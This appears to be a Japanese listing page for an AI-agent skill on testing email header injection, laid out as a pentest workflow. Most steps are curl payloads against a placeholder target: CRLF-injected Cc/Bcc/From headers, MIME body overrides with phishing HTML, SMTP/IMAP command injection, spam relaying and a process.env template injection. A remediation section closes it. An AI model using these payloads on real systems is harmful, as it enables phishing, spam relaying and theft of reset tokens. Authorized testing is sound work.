testing-for-email-header-injection について
メール機能や API のヘッダーインジェクションを調べるセキュリティテスト用スキルです。入力箇所の特定、CRLF やプロトコルペイロードの試行、結果の検証を案内します。
主な機能
- 01メール注入箇所の特定
- 02CRLF ヘッダー注入のテスト
- 03SMTP・IMAP コマンドの検証
- 04JSON メール API のテスト
- 05ヘッダーと配信結果の確認
活用シーン
- 01問い合わせ・フィードバックフォームの評価
- 02パスワードリセットメールのテスト
- 03メール送信 API エンドポイントの監査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-email-header-injectionインストール後、Claude Code で/testing-for-email-header-injectionを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
メールヘッダーインジェクションのテスト
使用する場面
- 問い合わせフォーム、フィードバックフォーム、「友達にメールする」機能をテストする場合
- パスワードリセットメール機能を評価する場合
- ニュースレターの登録や通知メールシステムをテストする場合
- ユーザー入力に基づいてメールを送信するアプリケーションのペネトレーションテストを行う場合
- メール関連の API エンドポイントを監査してヘッダーインジェクションを確認する場合
前提条件
- HTTP リクエストの傍受と変更に使用する Burp Suite
- SMTP プロトコルとメールヘッダーの構造に関する理解
- CRLF インジェクション手法(\r\n シーケンス)に関する知識
- インジェクションされたメールを受信するためのテスト用メールアカウント
- メール送信をトリガーするアプリケーション機能へのアクセス
- インジェクションの試行を監視するための SMTP サーバーログへのアクセス
ワークフロー
ステップ 1 — メールインジェクションのポイントを特定する
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello&message=Test message"
ステップ 2 — CRLF ヘッダーインジェクションをテストする
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ACc:[email protected]&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"
# Inject via the name field
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:[email protected]&[email protected]&message=Test"
# Inject via subject field
curl -X POST http://target.com/contact \
-d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
-d "[email protected]%0D%0ACc:[email protected]"
# %0A (LF only)
curl -X POST http://target.com/contact \
-d "[email protected]%0ACc:[email protected]"
# %0D (CR only)
curl -X POST http://target.com/contact \
-d "[email protected]%0DCc:[email protected]"
# Double encoding
curl -X POST http://target.com/contact \
-d "[email protected]%250ACc:[email protected]"
ステップ 3 — カスタムメールコンテンツをインジェクションする
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "[email protected]%0AFrom:[email protected]"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "[email protected]%0AReply-To:[email protected]"
ステップ 4 — IMAP/SMTP インジェクションをテストする
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "[email protected]%0ARCPT TO:[email protected]"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "[email protected]%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"
ステップ 5 — JSON ベースのメール API をテストする
# JSON API header injection
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'
# Template injection in email body
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
ステップ 6 — 発見事項を検証する
# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)
主な概念
| 概念 | 説明 |
|---|---|
| CRLF インジェクション | 改行復帰文字とラインフィード文字をインジェクションし、新しいメールヘッダーを作成すること |
| ヘッダーインジェクション | 送信メールに許可されていないヘッダー(Cc、Bcc、From)を追加すること |
| スパム中継 | メール機能を悪用し、任意の宛先にスパムを送信すること |
| メールスプーフィング | From または Reply-To ヘッダーを変更し、信頼できる送信者になりすますこと |
| MIME 操作 | MIME 境界をインジェクションし、メール本文の内容を上書きすること |
| SMTP コマンドインジェクション | サニタイズされていないメールパラメーターを通じて、生の SMTP コマンドをインジェクションすること |
| 改行文字 | メールヘッダーの区切りに使用される \r\n(CRLF)、\n(LF)、\r(CR) |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite | メール関連のフォーム送信を変更する HTTP プロキシ |
| swaks | SMTP テストとヘッダーインジェクションの検証に使用する Swiss Army Knife |
| OWASP ZAP | メールインジェクション検出機能を備えた自動スキャナー |
| mailhog | インジェクションされたメールを捕捉するローカル SMTP テストサーバー |
| smtp4dev | メールインジェクションの結果を監視する開発用 SMTP サーバー |
| Nuclei | メールヘッダーインジェクション検出用テンプレートを備えたテンプレートスキャナー |
よくあるシナリオ
- スパム中継 — BCC ヘッダーをインジェクションして、ターゲットの SMTP サーバー経由で大量のメールを中継し、送信者ドメインを信頼するスパムフィルターを回避する
- 問い合わせフォームを利用したフィッシング — From と Reply-To ヘッダーを変更し、ターゲット組織から送信されたように見えるフィッシングメールを送信する
- パスワードリセットの乗っ取り — パスワードリセットのフローで CC ヘッダーをインジェクションし、被害者に送信されるリセットトークンのコピーを受け取る
- メール内容の上書き — MIME Content-Type ヘッダーをインジェクションし、正規のメール本文を悪意のあるフィッシングコンテンツに置き換える
- 内部メールの悪用 — ヘッダーインジェクションを利用して、通常はアプリケーション経由でアクセスできない内部アドレスにメールを送信する
出力形式
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality
コメント
Markdown 対応